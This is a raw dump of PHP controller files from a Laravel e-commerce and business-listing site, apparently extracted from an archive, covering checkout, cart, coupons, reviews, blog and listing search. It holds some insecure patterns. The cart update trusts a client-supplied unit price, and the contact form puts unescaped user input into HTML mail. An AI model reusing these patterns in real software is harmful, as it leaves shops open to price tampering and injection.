$language->id)->first(); $item['productTitle'] = $content ? $content->title : ''; $item['slug'] = $content ? $content->slug : ''; }); $queryResult['items'] = $items; return view('frontend.user.order.details', $queryResult); } else { return view('errors.404'); } } public function downloadProduct(Request $request, $id) { $product = Product::query()->find($id); $pathToFile = public_path('./assets/file/products/' . $product->file); try { return response()->download($pathToFile); } catch (FileNotFoundException $e) { $request->session()->flash('error', 'Sorry, this file does not exist anymore!'); return redirect()->back(); } } } PK(\rtB B /Http/Controllers/FrontEnd/ContactController.phpnu[getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_contact', 'meta_description_contact')->first(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $information['info'] = Basic::select('email_address', 'contact_number', 'address', 'google_recaptcha_status', 'latitude', 'longitude')->firstOrFail(); return view('frontend.contact', $information); } public function sendMail(MailFromUserRequest $request) { $info = DB::table('basic_settings') ->select('website_title', 'smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail') ->first(); $name = $request->name; $to = $info->to_mail; $subject = $request->subject; $message = '

A new quote request has been sent.
Client Name: ' . $name . '
Client Mail: ' . $request->email . '

Message : ' . nl2br($request->message) . '

'; if ($info->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $info->smtp_host, 'port' => $info->smtp_port, 'encryption' => $info->encryption, 'username' => $info->smtp_username, 'password' => $info->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } $data = [ 'to' => $to, 'subject' => $subject, 'message' => $message, ]; try { if ($info->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $info) { $fromMail = $info->from_mail; $fromName = $info->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['message'], 'text/html'); }); } Session::flash('success', 'A contact request was sent successfully'); } catch (\Exception $e) { Session::flash('error', 'Something went wrong.'); return back(); } return redirect()->back(); } } PK(\ ,4##<Http/Controllers/FrontEnd/Shop/PurchaseProcessController.phpnu[exists('gateway')) { Session::flash('error', 'Please select a payment method.'); return redirect()->back()->withInput(); } if (!onlyDigitalItemsInCart()) { if (!$request->exists('shipping_method')) { Session::flash('error', 'Please select a shipping method.'); return redirect()->back()->withInput(); } } if ($request['gateway'] == 'paypal') { $paypal = new PayPalController(); return $paypal->index($request, 'product purchase'); } else if ($request['gateway'] == 'instamojo') { $instamojo = new InstamojoController(); return $instamojo->index($request, 'product purchase'); } else if ($request['gateway'] == 'paystack') { $paystack = new PaystackController(); return $paystack->index($request, 'product purchase'); } else if ($request['gateway'] == 'flutterwave') { $flutterwave = new FlutterwaveController(); return $flutterwave->index($request, 'product purchase'); } else if ($request['gateway'] == 'razorpay') { $razorpay = new RazorpayController(); return $razorpay->index($request, 'product purchase'); } else if ($request['gateway'] == 'mercadopago') { $mercadopago = new MercadoPagoController(); return $mercadopago->index($request, 'product purchase'); } else if ($request['gateway'] == 'mollie') { $mollie = new MollieController(); return $mollie->index($request, 'product purchase'); } else if ($request['gateway'] == 'stripe') { $stripe = new StripeController(); return $stripe->index($request, 'product purchase'); } else if ($request['gateway'] == 'paytm') { $paytm = new PaytmController(); return $paytm->index($request, 'product purchase'); } else if ($request['gateway'] == 'authorize.net') { $author = new AuthorizeController(); return $author->index($request, 'product purchase'); } else { $offline = new OfflineController(); return $offline->index($request, 'product purchase'); } } public function calculation(Request $request, $products) { $total = 0.00; foreach ($products as $key => $item) { $price = floatval($item['price']); $total += $price; } if ($request->session()->has('discount')) { $discountVal = $request->session()->get('discount'); } $discount = isset($discountVal) ? floatval($discountVal) : 0.00; $subtotal = $total - $discount; $chargeId = $request->exists('shipping_method') ? $request['shipping_method'] : null; if (!is_null($chargeId)) { $shippingCharge = ShippingCharge::where('id', $request->shipping_method)->first(); $shippingCharge = $shippingCharge->shipping_charge; } else { $shippingCharge = 0.00; } $taxData = Basic::select('product_tax_amount')->first(); $taxAmount = floatval($taxData->product_tax_amount); $calculatedTax = $subtotal * ($taxAmount / 100); $grandTotal = $subtotal + floatval($shippingCharge) + $calculatedTax; $calculatedData = array( 'total' => $total, 'discount' => $discount, 'subtotal' => $subtotal, 'shippingCharge' => $request->exists('shipping_method') ? $shippingCharge : null, 'tax' => $calculatedTax, 'grandTotal' => $grandTotal ); return $calculatedData; } public function storeData($productList, $arrData) { $orderInfo = ProductOrder::query()->create([ 'user_id' => Auth::guard('web')->check() == true ? Auth::guard('web')->user()->id : null, 'order_number' => uniqid(), 'billing_name' => $arrData['billing_name'], 'billing_phone' => $arrData['billing_phone'], 'billing_email' => $arrData['billing_email'], 'billing_address' => $arrData['billing_address'], 'billing_city' => $arrData['billing_city'], 'billing_state' => $arrData['billing_state'], 'billing_country' => $arrData['billing_country'], 'shipping_name' => $arrData['shipping_name'], 'shipping_email' => $arrData['shipping_email'], 'shipping_phone' => $arrData['shipping_phone'], 'shipping_address' => $arrData['shipping_address'], 'shipping_city' => $arrData['shipping_city'], 'shipping_state' => $arrData['shipping_state'], 'shipping_country' => $arrData['shipping_country'], 'total' => $arrData['total'], 'discount' => $arrData['discount'], 'product_shipping_charge_id' => $arrData['productShippingChargeId'], 'shipping_cost' => $arrData['shippingCharge'], 'tax' => $arrData['tax'], 'grand_total' => $arrData['grandTotal'], 'currency_text' => $arrData['currencyText'], 'currency_text_position' => $arrData['currencyTextPosition'], 'currency_symbol' => $arrData['currencySymbol'], 'currency_symbol_position' => $arrData['currencySymbolPosition'], 'payment_method' => $arrData['paymentMethod'], 'gateway_type' => $arrData['gatewayType'], 'payment_status' => $arrData['paymentStatus'], 'order_status' => $arrData['orderStatus'], 'attachment' => array_key_exists('attachment', $arrData) ? $arrData['attachment'] : null ]); foreach ($productList as $key => $item) { ProductPurchaseItem::create([ 'product_order_id' => $orderInfo->id, 'product_id' => $key, 'title' => $item['title'], 'quantity' => intval($item['quantity']) ]); } return $orderInfo; } public function generateInvoice($orderInfo, $productList) { $fileName = $orderInfo->order_number . '.pdf'; $data['orderInfo'] = $orderInfo; $data['productList'] = $productList; $directory = public_path('assets/file/invoices/product/'); @mkdir($directory, 0775, true); $fileLocated = $directory . $fileName; $data['taxData'] = Basic::select('product_tax_amount')->first(); PDF::loadView('frontend.shop.invoice', $data)->save($fileLocated); return $fileName; } public function prepareMail($orderInfo) { // get the mail template info from db $mailTemplate = MailTemplate::query()->where('mail_type', '=', 'product_order')->first(); $mailData['subject'] = $mailTemplate->mail_subject; $mailBody = $mailTemplate->mail_body; // get the website title info from db $info = Basic::select('website_title')->first(); $customerName = $orderInfo->billing_first_name . ' ' . $orderInfo->billing_last_name; $orderNumber = $orderInfo->order_number; $websiteTitle = $info->website_title; if (Auth::guard('web')->check() == true) { $orderLink = '

Order Details: Click Here

'; } else { $orderLink = ''; } // replacing with actual data $mailBody = str_replace('{customer_name}', $customerName, $mailBody); $mailBody = str_replace('{order_number}', $orderNumber, $mailBody); $mailBody = str_replace('{website_title}', $websiteTitle, $mailBody); $mailBody = str_replace('{order_link}', $orderLink, $mailBody); $mailData['body'] = $mailBody; $mailData['recipient'] = $orderInfo->billing_email; $mailData['invoice'] = public_path('assets/file/invoices/product/') . $orderInfo->invoice; BasicMailer::sendMail($mailData); return; } public function complete($type = null) { $misc = new MiscellaneousController(); $information['bgImg'] = $misc->getBreadcrumb(); $information['purchaseType'] = $type; return view('frontend.payment.purchase-success', $information); } public function cancel(Request $request) { $notification = array('message' => 'Something went wrong', 'alert-type' => 'error'); return redirect()->route('shop.products')->with($notification); } } PK(\/KKXX4Http/Controllers/FrontEnd/Shop/ProductController.phpnu[getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_products', 'meta_description_products')->first(); $information['bgImg'] = $misc->getBreadcrumb(); $information['pageHeading'] = $misc->getPageHeading($language); $information['categories'] = $language->productCategory()->where('status', 1)->orderBy('serial_number', 'asc')->get(); $product_name = $category = $rating = $min = $max = $sort = null; if ($request->filled('product_name')) { $product_name = $request['product_name']; } if ($request->filled('category')) { $category = $request['category']; } if ($request->filled('rating')) { $rating = floatval($request['rating']); } if ($request->filled('min') && $request->filled('max')) { $min = $request['min']; $max = $request['max']; } if ($request->filled('sort')) { $sort = $request['sort']; } $information['products'] = Product::join('product_contents', 'products.id', '=', 'product_contents.product_id') ->where('products.status', '=', 'show') ->where('product_contents.language_id', '=', $language->id) ->when($product_name, function ($query, $product_name) { return $query->where('product_contents.title', 'like', '%' . $product_name . '%'); }) ->when($category, function ($query, $category) { $categoryId = ProductCategory::query()->where('slug', '=', $category)->pluck('id')->first(); return $query->where('product_contents.product_category_id', '=', $categoryId); }) ->when($rating, function ($query, $rating) { return $query->where('products.average_rating', '>=', $rating); }) ->when(($min && $max), function ($query) use ($min, $max) { return $query->where('products.current_price', '>=', $min)->where('products.current_price', '<=', $max); }) ->select('products.id', 'products.featured_image', 'products.average_rating', 'product_contents.title', 'product_contents.slug', 'products.current_price', 'products.previous_price', 'products.product_type', 'products.stock') ->when($sort, function ($query, $sort) { if ($sort == 'newest') { return $query->orderBy('products.created_at', 'desc'); } else if ($sort == 'old') { return $query->orderBy('products.created_at', 'asc'); } else if ($sort == 'high-to-low') { return $query->orderBy('products.current_price', 'desc'); } else if ($sort == 'low-to-high') { return $query->orderBy('products.current_price', 'asc'); } }, function ($query) { return $query->orderByDesc('products.created_at'); }) ->paginate(9); $information['total_products'] = Product::join('product_contents', 'products.id', '=', 'product_contents.product_id') ->where('products.status', '=', 'show') ->where('product_contents.language_id', '=', $language->id) ->when($product_name, function ($query, $product_name) { return $query->where('product_contents.title', 'like', '%' . $product_name . '%'); }) ->when($category, function ($query, $category) { $categoryId = ProductCategory::query()->where('slug', '=', $category)->pluck('id')->first(); return $query->where('product_contents.product_category_id', '=', $categoryId); }) ->when($rating, function ($query, $rating) { return $query->where('products.average_rating', '>=', $rating); }) ->when(($min && $max), function ($query) use ($min, $max) { return $query->where('products.current_price', '>=', $min)->where('products.current_price', '<=', $max); }) ->select('products.id', 'products.featured_image', 'products.average_rating', 'product_contents.title', 'product_contents.slug', 'products.current_price', 'products.previous_price') ->when($sort, function ($query, $sort) { if ($sort == 'newest') { return $query->orderBy('products.created_at', 'desc'); } else if ($sort == 'old') { return $query->orderBy('products.created_at', 'asc'); } else if ($sort == 'high-to-low') { return $query->orderBy('products.current_price', 'desc'); } else if ($sort == 'low-to-high') { return $query->orderBy('products.current_price', 'asc'); } }, function ($query) { return $query->orderByDesc('products.created_at'); })->get()->count(); $information['currencyInfo'] = $this->getCurrencyInfo(); $information['min'] = Product::where('status', 'show')->min('current_price'); $information['max'] = Product::where('status', 'show')->max('current_price'); return view('frontend.shop.products', $information); } public function show($slug, Request $request) { $request->session()->put('redirectTo', url()->current()); $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $details = Product::join('product_contents', 'products.id', '=', 'product_contents.product_id') ->join('product_categories', 'product_categories.id', '=', 'product_contents.product_category_id') ->where('product_contents.language_id', '=', $language->id) ->where('product_contents.slug', '=', $slug) ->select('products.id', 'products.slider_images', 'product_contents.title', 'products.average_rating', 'products.current_price', 'products.previous_price', 'product_contents.summary', 'product_contents.content', 'product_categories.name as categoryName', 'product_categories.slug as categorySlug', 'product_categories.id as categoryId', 'product_contents.meta_keywords', 'product_contents.meta_description') ->firstOrFail(); $information['details'] = $details; $information['currencyInfo'] = $this->getCurrencyInfo(); $productId = ProductContent::query()->where('language_id', '=', $language->id) ->where('slug', '=', $slug) ->pluck('product_id') ->first(); $reviews = ProductReview::query()->where('product_id', '=', $productId)->orderByDesc('id')->get(); $reviews->map(function ($review) { $review['user'] = $review->userInfo()->first(); }); $information['reviews'] = $reviews; $information['related_products'] = Product::join('product_contents', 'products.id', '=', 'product_contents.product_id') ->where('products.status', '=', 'show') ->where('product_contents.language_id', '=', $language->id) ->where('product_contents.product_category_id', '=', $details->categoryId) ->where('products.id', '!=', $details->id) ->select('products.id', 'products.featured_image', 'products.average_rating', 'product_contents.title', 'product_contents.slug', 'products.current_price', 'products.previous_price', 'products.product_type', 'products.stock') ->orderByDesc('products.created_at') ->get(); return view('frontend.shop.product-details', $information); } public function addToCart(Request $request, $id, $quantity) { // get product cart data from session if ($request->session()->has('productCart')) { $productCart = $request->session()->get('productCart'); } else { $productCart = []; } $misc = new MiscellaneousController(); $language = $misc->getLanguage(); // get the information of selected product $productInfo = ProductContent::with('product')->where('language_id', $language->id) ->where('product_id', $id) ->first(); // check whether the selected product has enough stock or not if ($productInfo->product->product_type == 'physical') { if (empty($productCart) || !isset($productCart[$id])) { // product cart is empty or, product is not exist in that cart if ($productInfo->product->stock < $quantity) { return response()->json(['error' => 'Sorry, product out of stock!']); } } else { // product cart is not empty and, product is exist in that cart if ($productInfo->product->stock < $productCart[$id]['quantity'] + $quantity) { return response()->json(['error' => 'Sorry, product out of stock!']); } } } // add product in the cart if product has enough stock if (empty($productCart)) { // first case, cart is totally empty $productCart = [ $id => [ 'type' => $productInfo->product->product_type, 'image' => $productInfo->product->featured_image, 'title' => $productInfo->title, 'slug' => $productInfo->slug, 'quantity' => $quantity, 'price' => $productInfo->product->current_price * $quantity ] ]; } else if (!empty($productCart) && !isset($productCart[$id])) { // second case, cart is not empty but product is not exist in this cart $productCart[$id] = [ 'type' => $productInfo->product->product_type, 'image' => $productInfo->product->featured_image, 'title' => $productInfo->title, 'slug' => $productInfo->slug, 'quantity' => $quantity, 'price' => $productInfo->product->current_price * $quantity ]; } else if (!empty($productCart) && isset($productCart[$id])) { // third case, cart is not empty and product is also exist in this cart $productCart[$id]['quantity'] += intval($quantity); $productCart[$id]['price'] += $productInfo->product->current_price * intval($quantity); } $request->session()->put('productCart', $productCart); $numOfProducts = count($productCart); return response()->json([ 'success' => 'Product added into the cart.', 'numOfProducts' => $numOfProducts ]); } public function cart(Request $request) { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); // get product cart data from session if ($request->session()->has('productCart')) { $information['productCart'] = $request->session()->get('productCart'); $information['currencyInfo'] = $this->getCurrencyInfo(); } else { $information['productCart'] = []; } return view('frontend.shop.cart', $information); } public function updateCart(Request $request) { // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } // get data from ajax request $data = $request->all(); for ($i = 0; $i < sizeof($data['id']); $i++) { $productId = intval($data['id'][$i]); // get the information of product $productInfo = Product::where('id', $productId)->first(); $newQuantity = intval($data['quantity'][$i]); $unitPrice = floatval($data['unitPrice'][$i]); // first, check whether the selected product has enough stock or not if (($productInfo->product_type == 'physical') && ($productInfo->stock < $newQuantity)) { return Response::json([ 'error' => 'Sorry, product out of stock!' ], 400); } // second, if product is not out of stock then update product in cart if ($newQuantity < 1) { unset($productList[$productId]); } else { $productList[$productId]['type'] = $productList[$productId]['type']; $productList[$productId]['image'] = $productList[$productId]['image']; $productList[$productId]['title'] = $productList[$productId]['title']; $productList[$productId]['slug'] = $productList[$productId]['slug']; $productList[$productId]['quantity'] = $newQuantity; $productList[$productId]['price'] = $unitPrice * $newQuantity; } } // return $productList; $request->session()->put('productCart', $productList); $total_products = count($productList); return Response::json([ 'success' => 'Cart updated successfully!', 'total_products' => $total_products ], 200); } public function removeProduct(Request $request, $id) { // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } // check whether the product (id) exist in productList array if (array_key_exists($id, $productList)) { // delete that product info from productList array unset($productList[$id]); // get cart total of remaining products $cartTotal = 0; $totalQuantity = 0; foreach ($productList as $key => $product) { $cartTotal += $product['price']; $totalQuantity += $product['quantity']; } $request->session()->put('productCart', $productList); $request->session()->forget('discount'); return response()->json([ 'success' => 'Product removed successfully!', 'numOfProducts' => $totalQuantity, 'cartTotal' => $cartTotal ]); } else { return response()->json(['error' => 'Something went wrong!']); } } public function checkout(Request $request) { if ($request->session()->has('productCart')) { $cart = $request->session()->get('productCart'); if (empty($cart)) { Session::flash('message', 'Your cart is empty!'); return redirect()->route('shop.products'); } else { $productItems = $cart; $information['productItems'] = $productItems; } } else { Session::flash('message', 'Your cart is empty!'); return redirect()->route('shop.products'); } // check for 'user authentication' and check for 'checkout not as a guest' if (Auth::guard('web')->check() == false && empty($request->input('checkout_as'))) { $request->session()->put('redirectTo', route('shop.checkout')); if ($this->hasSingleDigitalProduct($request) == true) { return redirect()->route('user.login', ['redirect_path' => 'checkout', 'digital_item' => 'yes']); } else { return redirect()->route('user.login', ['redirect_path' => 'checkout', 'digital_item' => 'no']); } } $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['language'] = $language; $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $information['authUser'] = Auth::guard('web')->check() == true ? Auth::guard('web')->user() : null; // check for existence of digital item in cart $information['status'] = $this->isAllDigitalProduct($request); $information['charges'] = $language->shippingCharge()->orderBy('serial_number', 'asc')->get(); $information['currencyInfo'] = $this->getCurrencyInfo(); $cart_total = 0; foreach ($productItems as $item) { $cart_total += $item['price']; } Session::put('cart_total', $cart_total); $tax = Basic::select('product_tax_amount')->first(); $information['tax'] = $tax; Session::put('product_tax_amount', $tax->product_tax_amount); $information['onlineGateways'] = OnlineGateway::where('status', 1)->get(); $information['offline_gateways'] = OfflineGateway::where('status', 1)->orderBy('serial_number', 'asc')->get(); $stripe = OnlineGateway::where('keyword', 'stripe')->first(); $stripe_info = json_decode($stripe->information, true); $information['stripe_key'] = $stripe_info['key']; $authorizenet = OnlineGateway::query()->whereKeyword('authorize.net')->first(); $anetInfo = json_decode($authorizenet->information); if ($anetInfo->sandbox_check == 1) { $information['anetSource'] = 'https://jstest.authorize.net/v1/Accept.js'; } else { $information['anetSource'] = 'https://js.authorize.net/v1/Accept.js'; } $information['anetClientKey'] = $anetInfo->public_key; $information['anetLoginId'] = $anetInfo->login_id; return view('frontend.shop.checkout', $information); } public function isAllDigitalProduct($request) { if ($request->session()->has('productCart')) { $cartItems = $request->session()->get('productCart'); foreach ($cartItems as $item) { if ($item['type'] == 'physical') { $isAllDigitalProductStaus = false; break; } else { $isAllDigitalProductStaus = true; } } return $isAllDigitalProductStaus; } } public function hasSingleDigitalProduct($request) { if ($request->session()->has('productCart')) { $cartItems = $request->session()->get('productCart'); foreach ($cartItems as $item) { if ($item['type'] == 'digital') { $hasSingleDigitalProductStatus = true; break; } else { $hasSingleDigitalProductStatus = false; } } return $hasSingleDigitalProductStatus; } } public function applyCoupon(Request $request) { try { $coupon = Coupon::where('code', $request->coupon)->firstOrFail(); $startDate = Carbon::parse($coupon->start_date); $endDate = Carbon::parse($coupon->end_date); $todayDate = Carbon::now(); // first, check coupon is valid or not if ($todayDate->between($startDate, $endDate) == false) { return response()->json(['error' => 'Sorry, coupon has expired!']); } if ($request->session()->has('productCart')) { $cartItems = $request->session()->get('productCart'); $total = 0; foreach ($cartItems as $item) { $total += $item['price']; } // second, check for minimum cart total if (!empty($coupon->minimum_spend)) { $minimumSpend = floatval($coupon->minimum_spend); if ($total < $minimumSpend) { $currencyInfo = $this->getCurrencyInfo(); $position = $currencyInfo->base_currency_symbol_position; $symbol = $currencyInfo->base_currency_symbol; $spendData = ($position == 'left' ? $symbol : '') . $coupon->minimum_spend . ($position == 'right' ? $symbol : ''); return response()->json([ 'error' => 'You have to purchase atleast ' . $spendData . ' of product.' ]); } } // check for existence of digital item & send it through response $status = $this->isAllDigitalProduct($request); if ($coupon->type == 'fixed') { $request->session()->put('discount', $coupon->value); return response()->json([ 'success' => 'Coupon applied successfully.', 'amount' => $coupon->value, 'digitalProductStatus' => $status ]); } else { $couponAmount = $total * ($coupon->value / 100); $request->session()->put('discount', $couponAmount); return response()->json([ 'success' => 'Coupon applied successfully.', 'amount' => $couponAmount, 'digitalProductStatus' => $status ]); } } else { return response()->json(['error' => 'Sorry, something went wrong!']); } } catch (ModelNotFoundException $e) { return response()->json(['error' => 'Coupon is not valid!']); } } public function checkAttachment($id) { try { $offlineGateway = OfflineGateway::findOrFail($id); return response()->json([ 'id' => $offlineGateway->id, 'status' => $offlineGateway->has_attachment ]); } catch (ModelNotFoundException $e) { return response()->json(['errorMsg' => 'Sorry, something went wrong!']); } } public function put_shipping_method($id) { Session::put('shipping_id', $id); } public function storeReview(Request $request, $id) { $rule = ['rating' => 'required']; $validator = Validator::make($request->all(), $rule); if ($validator->fails()) { return redirect()->back() ->with('error', 'The rating field is required for product review.') ->withInput(); } $productPurchased = false; // get the authenticate user $user = Auth::guard('web')->user(); // then, get the purchases of that user $orders = $user->productOrder()->where('payment_status', 'completed')->get(); if (count($orders) > 0) { foreach ($orders as $order) { // then, get the purchased items of each order $items = $order->item()->get(); foreach ($items as $item) { // check whether selected product has bought or not if ($item->product_id == $id) { $productPurchased = true; break 2; } } } if ($productPurchased == true) { ProductReview::updateOrCreate( ['user_id' => $user->id, 'product_id' => $id], ['comment' => $request->comment, 'rating' => $request->rating] ); // now, get the average rating of this product $reviews = ProductReview::where('product_id', $id)->get(); $totalRating = 0; foreach ($reviews as $review) { $totalRating += $review->rating; } $numOfReview = count($reviews); $averageRating = $totalRating / $numOfReview; // finally, store the average rating of this product Product::find($id)->update(['average_rating' => $averageRating]); Session::flash('success', 'Your review submitted successfully.'); } else { Session::flash('error', 'You have not bought this product yet!'); } } else { Session::flash('error', 'You have not bought anything yet!'); } return redirect()->back(); } } PK(\+,Http/Controllers/FrontEnd/BlogController.phpnu[getLanguage(); $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_blog', 'meta_description_blog')->first(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $blogTitle = $blogCategory = null; if ($request->filled('title')) { $blogTitle = $request['title']; } if ($request->filled('category')) { $blogCategory = $request['category']; } $information['blogs'] = Blog::join('blog_informations', 'blogs.id', '=', 'blog_informations.blog_id') ->join('blog_categories', 'blog_categories.id', '=', 'blog_informations.blog_category_id') ->where('blog_informations.language_id', '=', $language->id) ->when($blogTitle, function ($query, $blogTitle) { return $query->where('blog_informations.title', 'like', '%' . $blogTitle . '%'); }) ->when($blogCategory, function ($query, $blogCategory) { return $query->where('blog_categories.slug', 'like', '%' . $blogCategory . '%'); }) ->select('blogs.image', 'blogs.id', 'blog_categories.name as categoryName', 'blog_categories.slug AS categorySlug', 'blog_informations.title', 'blog_informations.slug', 'blog_informations.author', 'blogs.created_at', 'blog_informations.content') ->orderBy('blogs.serial_number', 'asc') ->paginate(6); $information['allBlogs'] = $language->blogInformation()->count(); return view('frontend.journal.blog', $information); } public function details($slug, $id) { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $details = Blog::join('blog_informations', 'blogs.id', '=', 'blog_informations.blog_id') ->join('blog_categories', 'blog_categories.id', '=', 'blog_informations.blog_category_id') ->where('blog_informations.language_id', '=', $language->id) ->where('blog_informations.blog_id', '=', $id) ->select('blogs.id', 'blogs.image', 'blogs.created_at', 'blog_informations.title', 'blog_informations.content', 'blog_informations.meta_keywords', 'blog_informations.meta_description', 'blog_categories.name as categoryName', 'blog_categories.slug as categorySlug') ->firstOrFail(); $information['details'] = $details; $information['recent_blogs'] = Blog::join('blog_informations', 'blogs.id', '=', 'blog_informations.blog_id') ->where('blog_informations.language_id', '=', $language->id) ->where('blogs.id', '!=', $details->id) ->select('blogs.image', 'blogs.id', 'blog_informations.title', 'blog_informations.slug', 'blog_informations.author', 'blogs.created_at', 'blog_informations.content') ->orderBy('blogs.serial_number', 'asc') ->limit(3)->get(); $information['disqusInfo'] = Basic::select('disqus_status', 'disqus_short_name')->firstOrFail(); $information['categories'] = $this->getCategories($language); $information['allBlogs'] = $language->blogInformation()->count(); return view('frontend.journal.blog-details', $information); } public function getCategories($language) { $categories = $language->blogCategory()->where('status', 1)->orderBy('serial_number', 'asc')->get(); $categories->map(function ($category) { $category['blogCount'] = $category->blogInfo()->count(); }); return $categories; } } PK(\ -.Http/Controllers/FrontEnd/ProfileContoller.phpnu[getLanguage(); if ($request->id) { $data['states'] = State::where('country_id', $request->id)->get(); $data['cities'] = City::where('country_id', $request->id)->get(); } else { $data['states'] = State::where('language_id', $language->id)->get(); $data['cities'] = City::where('language_id', $language->id)->get(); } return $data; } public function getAddress(Request $request) { if ($request->country_id) { $country = Country::Where('id', $request->country_id)->first() ->name; } if ($request->state_id) { $state = State::Where('id', $request->state_id)->first() ->name; } if ($request->city_id) { $city = City::Where('id', $request->city_id)->first() ->name; } $address = ''; if ($request->city_id) { if ($city) { $address .= $city; } } if ($request->state_id) { if ($state) { $address .= ($address ? ', ' : '') . $state; } } if ($request->country_id) { if ($country) { $address .= ($address ? ', ' : '') . $country; } } return $address; } public function getCity(Request $request) { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); if ($request->id) { $data = City::where('state_id', $request->id)->get(); } else { $data = City::where('language_id', $language->id)->get(); } return $data; } public function index(Request $request) { $view = Basic::query()->pluck('listing_view')->first(); $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['bgImg'] = $misc->getBreadcrumb(); $information['pageHeading'] = $misc->getPageHeading($language); $information['language'] = $language; $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_listings', 'meta_description_listings')->first(); $information['currencyInfo'] = $this->getCurrencyInfo(); $title = $location = $category_id = $max_val = $min_val = $ratings = $amenitie = $vendor = $country = $state = $city = null; $listingIds = []; if ($request->filled('title')) { $title = $request->title; $listing_contents = ListingContent::where('language_id', $language->id) ->where('title', 'like', '%' . $title . '%') ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $listingIds)) { array_push($listingIds, $listing_content); } } } $cityIds = []; if ($request->filled('city')) { $city = $request->city; $listing_contents = ListingContent::where('language_id', $language->id) ->where('city_id', $city) ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $cityIds)) { array_push($cityIds, $listing_content); } } } $locationIds = []; if ($request->filled('location')) { $location = $request->location; $contents = ListingContent::where('language_id', $language->id) ->where('address', 'like', '%' . $location . '%') ->get() ->pluck('listing_id'); foreach ($contents as $content) { if (!in_array($content, $locationIds)) { array_push($locationIds, $content); } } } $category_listingIds = []; if ($request->filled('category_id')) { $category = $request->category_id; $category_content = ListingCategory::where([['language_id', $language->id], ['slug', $category]])->first(); if (!empty($category_content)) { $category_id = $category_content->id; $contents = ListingContent::where('language_id', $language->id) ->where('category_id', $category_id) ->get() ->pluck('listing_id'); foreach ($contents as $content) { if (!in_array($content, $category_listingIds)) { array_push($category_listingIds, $content); } } } } $priceIds = []; if ($request->filled('min_val') && $request->filled('max_val')) { $min_val = intval($request->min_val); $max_val = intval($request->max_val); $price_products = DB::table('listings') ->select('*') ->where(function ($query) use ($min_val, $max_val) { $query->where('min_price', '>=', $min_val) ->where('max_price', '<=', $max_val); }) ->orWhere(function ($query) use ($min_val, $max_val) { $query->where('min_price', '<=', $min_val) ->where('max_price', '>=', $max_val); }) ->orWhereNot(function ($query) use ($min_val, $max_val) { $query->where('max_price', '<', $min_val) ->orWhere('min_price', '>', $max_val); }) ->get() ->pluck('id'); foreach ($price_products as $product) { if (!in_array($product, $priceIds)) { array_push($priceIds, $product); } } } if ($request->filled('sort')) { if ($request['sort'] == 'new') { $order_by_column = 'listings.id'; $order = 'desc'; } elseif ($request['sort'] == 'old') { $order_by_column = 'listings.id'; $order = 'asc'; } elseif ($request['sort'] == 'high') { $order_by_column = 'listings.max_price'; $order = 'desc'; } elseif ($request['sort'] == 'low') { $order_by_column = 'listings.min_price'; $order = 'asc'; } else { $order_by_column = 'listings.id'; $order = 'desc'; } } else { $order_by_column = 'listings.id'; $order = 'desc'; } $featured_contents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->Join('feature_orders', 'listings.id', '=', 'feature_orders.listing_id') ->join('listing_categories', 'listing_categories.id', '=', 'listing_contents.category_id') ->where('listing_contents.language_id', $language->id) ->where('feature_orders.order_status', '=', 'completed') ->where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->whereDate('feature_orders.end_date', '>=', Carbon::now()->format('Y-m-d')) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('vendors', 'listings.vendor_id', '=', 'vendors.id') ->where(function ($query) { $query->where([ ['vendors.status', '=', 1], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when($title, function ($query) use ($listingIds) { return $query->whereIn('listings.id', $listingIds); }) ->when($location, function ($query) use ($locationIds) { return $query->whereIn('listings.id', $locationIds); }) ->when($category_id, function ($query) use ($category_listingIds) { return $query->whereIn('listings.id', $category_listingIds); }) ->when($min_val && $max_val, function ($query) use ($priceIds) { return $query->whereIn('listings.id', $priceIds); }) ->when($city, function ($query) use ($cityIds) { return $query->whereIn('listings.id', $cityIds); }) ->select( 'listings.*', 'listing_contents.title', 'listing_contents.slug', 'listing_contents.category_id', 'listing_contents.city_id', 'listing_contents.state_id', 'listing_contents.country_id', 'listing_contents.description', 'listing_contents.address', 'listing_categories.name as category_name', 'listing_categories.icon as icon', 'feature_orders.listing_id as 